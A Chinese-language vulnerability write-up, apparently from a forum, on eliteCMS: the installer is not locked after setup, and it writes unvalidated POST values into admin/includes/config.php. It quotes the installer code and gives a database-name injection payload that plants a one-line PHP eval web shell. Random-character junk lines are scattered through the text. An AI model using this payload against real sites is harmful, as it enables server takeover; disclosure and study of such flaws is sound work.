eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 R1 N* n( f- K, M+ ?& H% `; |我们来看代码：
0 b1 {. x- \: F  A" O  D
- R' n. C. z4 D$ J4 i* e/ x6 t...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
/ f; r; s* v' @    $write = "<?php\n";
. c2 c9 M) `0 C    $write .= "/**\n";
, C( V9 V9 x% c9 \    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
/ s3 h6 X5 a9 m7 K( i    $write .= "*/\n";
$ |) ?- h/ x/ A( S( A* T    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
, K8 f0 O/ `% N  t) C  ~3 i    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
; ~: x8 L9 V' _" k. \    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
3 ]7 P9 c# G" g' u3 g    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
+ w) Q$ A# I6 ^- \  W    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
, [6 z7 g& {% X$ d/ N    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
...

+ ?- Z& i# m- G: E- W在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
! J0 h) S$ {+ \: r6 u9 n1 c) _2 T
* C& H- ?5 C1 [! c; K" j取值未作任何验证
  p, T8 H8 s. Q7 Z; }# e7 y如果将数据库名POST数据：
$ B5 ^& y5 c$ `
"?><?php eval($_POST[c]);?><?php

& [2 r& O1 t( R+ l5 b将导致一句话后门写入/admin/includes/config.php